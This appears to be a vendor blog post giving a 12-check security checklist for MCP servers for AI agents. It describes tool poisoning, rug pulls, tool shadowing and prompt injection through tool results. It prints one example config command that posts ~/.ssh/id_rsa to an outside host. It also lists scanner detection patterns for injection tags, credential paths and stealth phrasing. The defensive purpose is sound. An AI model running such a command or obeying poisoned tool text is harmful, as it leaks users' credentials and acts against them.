MCP Security Checklist: How to Vet and Run MCP Servers Safely in 2026

MCP is not safe by default. Its security is the sum of the servers you trust and how tightly you scope them. This checklist is 12 checks across four phases: before install, at the call, in flight, and continuously. Each one names how to verify it and the standard that requires it.

The protocol’s maintainers do not claim otherwise. The 2026-07-28 revision of the specification’s security best practices page runs to 11 attack-and-mitigation sections, and its rules are written as requirements, not suggestions:

MCP servers MUST NOT accept any tokens that were not explicitly issued for the MCP server.

— Model Context Protocol, Security Best Practices (2026-07-28 revision)

Nothing in the protocol enforces that. MCP has no admission control, no signature over a tool definition, and no mechanism that binds the tool you approved to the tool a server serves you tomorrow. Every control below is something you or your client does. Red Hat’s security architecture team states the consequence plainly: “MCP servers are composed of executable code, so users should only use MCP servers that they trust.”

Key figures

Figure	What it measures	Source
11	attack-and-mitigation sections in the MCP spec’s security page (2026-07-28)	modelcontextprotocol.io
12	numbered best-practice sections in the OWASP MCP Security Cheat Sheet	OWASP
8	categories in SlowMist’s community MCP security checklist	SlowMist
7 domains, 4 maturity levels	structure of CSA’s Agentic MCP Security Best Practices Guide (draft, March 27, 2026)	Cloud Security Alliance
8 problems, 9 recommendations	what the NSA’s May 20, 2026 MCP guidance names	NSA CSI (PDF)
6 incidents	real-world MCP failures documented between April and November 2025	Checkmarx
9.4 (critical)	CVSS of CVE-2025-49596, unauthenticated RCE in MCP Inspector below 0.14.1	NVD
5.5%	share of public MCP servers found carrying tool-poisoning payloads	arXiv:2506.13538
36.5% / 72.8%	average and worst-case tool-poisoning success rate across 20 agent models	MCPTox
9 of 11	MCP tool registries that accepted a malicious proof-of-concept submission	CSA research note

The 12 checks

#	Phase	Check	How to verify	Source
1	Before install	Source you can name and read	The config entry names a specific repository and release, and someone has read the tool-registration code	Red Hat
2	Before install	Publisher owns the brand it claims	The package owner matches the vendor’s own domain or org. postmark-mcp was never Postmark’s	Postmark
3	Before install	Version pinned, definitions hashed	Exact version in the config, plus a SHA-256 over the canonical JSON of each tool’s name, description and input schema	OWASP
4	Before install	Descriptions scanned, not just names	Dump tools/list and read or scan the full description field, plus every parameter description in inputSchema	Invariant Labs
5	At the call	Least privilege, smallest scope	The server holds no credential it does not need, and no wildcard, all or full-access scope appears in scopes_supported	MCP spec
6	At the call	Every argument validated	Strict JSON Schema with additionalProperties: false; no model-supplied string reaches a shell, path join or CLI flag	OWASP
7	At the call	Local servers sandboxed	Container, chroot or app sandbox with restricted filesystem and network reach; stdio transport rather than a listening port	MCP spec
8	At the call	Per-client OAuth, audience-bound tokens	Consent stored per client_id, exact redirect_uri match, single-use state, short-lived tokens, no passthrough	MCP authorization spec
9	In flight	The whole tool path logged	Logs name the agent, the tool, the full parameters, the output and any blocked chain, not just the API call	NSA
10	In flight	Tool output treated as data	Results are sanitized before re-entering the context, and nothing inside a result can authorize the next call	OWASP
11	Continuously	Definitions diffed on reconnect	Re-hash each definition before execution and alert on a mismatch. Shadowing and rug pulls surface here or nowhere	CSA
12	Continuously	MCP CVEs tracked like dependency CVEs	Inspector, server and client releases sit in the same advisory feed as your packages	NVD

Figure: the checks map one-to-one onto layers. A control that covers the description field does nothing for the transport, and vice versa.

Before install: the four checks that cost the least

Checks 1 through 4 are the only ones you can do while nothing is running, which makes them the cheapest and the ones most often skipped.

Source and publisher. An MCP server is a program you agree to run. The npm package postmark-mcp shipped 15 clean releases before version 1.0.16 added a single line that BCC’d every outbound message to an attacker’s address; Snyk puts the exposure at roughly 300 organizations across 1,643 downloads, and Postmark’s advisory confirms the package was never theirs. The check is not “does the name look right.” It is “does the publishing account belong to the company in the name.”

Pinning and hashing. Tool metadata is fetched at runtime, so an unpinned server is an open write channel into your agent’s context. OWASP’s cheat sheet states the control precisely: “Pin tool definitions using cryptographic hashes and alert on any changes (prevents rug pulls).” It also lists the failure mode in its Don’ts: “Assume a tool approved yesterday is the same tool today.”

Scanning descriptions. This is the check that catches tool poisoning — instructions hidden in the description field that the model reads in full and the approval prompt never renders. Invariant Labs named the attack on April 1, 2025. Researchers later found poisoning payloads in 5.5% of public MCP servers (arXiv:2506.13538), and the MCPTox benchmark — 1,312 malicious cases against 353 real tools on 45 live servers — recorded a 36.5% average success rate across 20 models, 72.8% at worst, with the best refuser declining under 3% of the time. Model-side judgment is not a control.

At the call: constrain what a server can do

Checks 5 through 8 assume the server is already running and ask what it can reach.

Scope minimization has its own section in the spec, and the attack it describes is mundane: a token carrying files:*, db:* and admin:* gets scraped from a log or intercepted locally, and the blast radius is everything at once. The spec’s guidance is a progressive model — a minimal baseline scope, then targeted WWW-Authenticate challenges when a privileged operation is first attempted.

Argument validation is where the reference implementations failed. Three CVEs in Anthropic’s own mcp-server-git (CVE-2025-68143 through CVE-2025-68145, fixed in release 2025.12.18) were all variants of trusting a model-supplied value: an unvalidated repo_path, an unrestricted git_init target, and a target parameter passed straight to repo.git.diff() where injected git flags become code execution.

Sandboxing is a MUST-level requirement for one-click installs: “If an MCP client supports one-click local MCP server configuration, it MUST implement proper consent mechanisms prior to executing commands,” including showing the exact command without truncation. The config line is the payload — a startup command like npx some-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/ never involves a tool call at all. CSA’s July 2026 note on IDE auto-execution found that leading developer tools, Cursor and Claude Code among them, start project-defined MCP servers with developer-level OS privileges and no process isolation, so a checked-in .mcp.json executes at the privilege level of whoever opened the repository.

OAuth done properly is the longest part of the spec’s security page, and none of it is optional: per-client consent storage, exact-match redirect URI validation, single-use state bound server-side after consent, and audience validation on every inbound token. The confused-deputy attack it documents needs no malware — a static client ID, dynamic client registration and a consent cookie are enough for an attacker’s link to mint an authorization code in the victim’s browser.

In flight: log the path, distrust the output

Checks 9 and 10 assume something has already gone wrong upstream.

Logging is the one control that survives an attack you did not anticipate, and the requirement is specific: the log has to show the agent, the tool it chose, the parameters, and the result. An outbound API log alone cannot distinguish a user’s request from a poisoned one, because — as CSA puts it in its research note on poisoned descriptions — “Every individual action the agent takes is one it is technically authorized to perform, since the tool was already approved and the credentials it uses are the agent’s legitimate ones.”

Output filtering is check 10 and its own OWASP section, number 12 of 12: “Prompt Injection via Tool Return Values.” A tool result is untrusted input, not a privileged channel. Treating it as one is the basis of Agentjacking, where content the attacker planted in a third-party system arrives through a legitimate MCP tool and the agent acts on it. The IETF draft on MCP security gives this class a name and a section number, which is what a bug report needs.

Continuously: nothing you approved stays approved

Checks 11 and 12 exist because MCP has no notion of a stable approval.

Re-hashing a tool definition before every execution is the only mechanical defense against a rug pull, and it is also what catches tool shadowing — a description that redefines how the agent should use a different server’s tool. Neither produces a distinctive signal in any single server’s audit trail. The registry layer will not do this for you: CSA found that 9 of 11 MCP tool registries accepted a malicious proof-of-concept submission.

Tracking MCP CVEs is the unglamorous half. CVE-2025-49596 — unauthenticated RCE in the MCP Inspector developer tool below version 0.14.1, CVSS 9.4 critical, published June 13, 2025 — is a reminder that the tooling around MCP has the same vulnerability lifecycle as any other dependency, and it did not arrive through a poisoned description.

Figure: the phases are ordered by cost. Everything skipped in the top band has to be caught by a runtime control in a lower one.

Where the standards agree, and where they stop

Five documents now cover this ground, and their overlap is the useful part.

• The MCP specification’s security best practices page is the only normative one: 11 attack classes, written for implementers of clients and servers.
• The OWASP MCP Security Cheat Sheet has 12 numbered sections and a Do’s and Don’ts list. It is the most directly actionable for an operator.
• OWASP’s Gen AI project adds a practical guide for secure MCP server development (February 16, 2026), which frames the risk as multiplicative: “MCP servers operate with delegated user permissions, dynamic tool-based architectures, and chained tool calls, increasing the potential impact of a single vulnerability.”
• The Cloud Security Alliance’s Agentic MCP Security Best Practices Guide (draft, March 27, 2026) organizes the same material into 7 control domains and a 4-level maturity model.
• SlowMist’s community checklist covers 8 categories and is the only one with a section for cryptocurrency-related servers.

The NSA’s May 20, 2026 guidance names 8 problem categories and 9 recommendations, and treats MCP as infrastructure rather than as an integration pattern. Checkmarx’s incident catalogue is the empirical counterweight — 6 documented failures between April and November 2025, from Asana’s multi-tenant leak to the WhatsApp exfiltration server — and its conclusion matches this post’s opening: “MCP security depends on implementation, not protocol alone.”

Where all of them stop is enforcement. None can make a client render a full description field, pin a definition, or refuse a server that changed overnight. That gap is why this is a checklist and not a configuration flag — the same supply-chain problem packages and registries have had for twenty years, arriving at a new layer.

What the SkillSafe MCP scanner checks

Checks 4 and 11 are the two you can automate without instrumenting your client. Our MCP security page runs a free browser scanner — no account — that takes a tools/list dump or an mcpServers config block and reports findings with a score out of 100 and a letter grade.

On tool definitions it flags injection tags (<IMPORTANT>, <SYSTEM>, <OVERRIDE> and similar) and suspicious HTML comments; credential paths such as ~/.ssh, ~/.aws, id_rsa, .env and the cloud metadata address; stealth instructions like “do not mention this to the user”; cross-tool manipulation, including a description that names another loaded tool with action language; descriptions over 500 characters, or parameter descriptions over 200; exfiltration phrasing; zero-width Unicode and Cyrillic/Latin homograph mixing; and prompt-injection patterns. It reads every parameter description in inputSchema, not just the top-level field. On configs it flags secrets passed through env, network binaries such as curl or nc used as the server command, and broad permission flags.

What it does not do: it never connects to your server, so it cannot see a description that changes after you paste it, and it cannot tell you that a well-described handler does something else in its code. It is a static read of text you provide. For the artifacts shipped alongside these servers, the SkillSafe scanner covers the file layer, including .mcp.json blocks bundled inside a skill, and every skill in the registry carries its scan report. Open-source options exist for the same job: mcp-scan, from the researchers who named tool poisoning, is now maintained as Snyk’s agent-scan.

Frequently Asked Questions

Are MCP servers a security risk?

Yes, in proportion to what you connect them to. An MCP server runs with your privileges and whatever credentials you hand it, so a compromised tool call is an action inside your environment rather than a bad model response. Researchers found tool-poisoning payloads in 5.5% of public servers, and 9 of 11 registries accepted a malicious test submission.

How do you secure MCP?

Work the four phases. Before install: a named source, a verified publisher, a pinned version with hashed tool definitions, and a scan of every description. At the call: minimal scopes, validated arguments, a sandboxed server, and audience-bound OAuth tokens. In flight: full tool-path logs and sanitized outputs. Continuously: diff definitions on reconnect and track MCP CVEs.

What are the best practices for MCP authentication?

Follow the spec’s authorization section literally. Store consent per client_id and check it before forwarding to a third-party authorization server, match redirect_uri by exact string, make state single-use and set it only after consent, and validate the audience on every token. The rule is absolute: servers “MUST NOT accept any tokens that were not explicitly issued for the MCP server.”

What is an MCP in security terms?

An MCP server is an integration layer that receives instructions from a model and acts with credentials you granted it. In security terms it is a privileged local or remote program with an attacker-reachable input channel — the tool description and the tool result — and no protocol-level admission control, signing or approval pinning.

What are the disadvantages of MCP?

Three that matter for security. Tool metadata is fetched at runtime, so approval never pins anything. Every connected server’s tool text shares one context window, so one server can steer another. And a local server runs as you, which is why CVE-2025-49596 in the MCP Inspector scored 9.4 — unauthenticated remote code execution from a developer tool.

What are MCP best practices?

Five documents converge: the MCP spec’s 11 attack classes, OWASP’s 12 cheat-sheet sections, OWASP Gen AI’s secure server development guide, CSA’s 7 control domains with a 4-level maturity model, and SlowMist’s 8-category checklist. The NSA’s 8 problems and 9 recommendations sit above them as the infrastructure framing. This post’s 12 checks are their intersection.

MCP is worth using, and the reason to be careful is the reason it is useful: a server you connect acts in your environment with your credentials, chosen by a model reading text an attacker may have written. None of these 12 checks are exotic, and four happen before anything runs. Start there, scan the descriptions, and pin what you approved.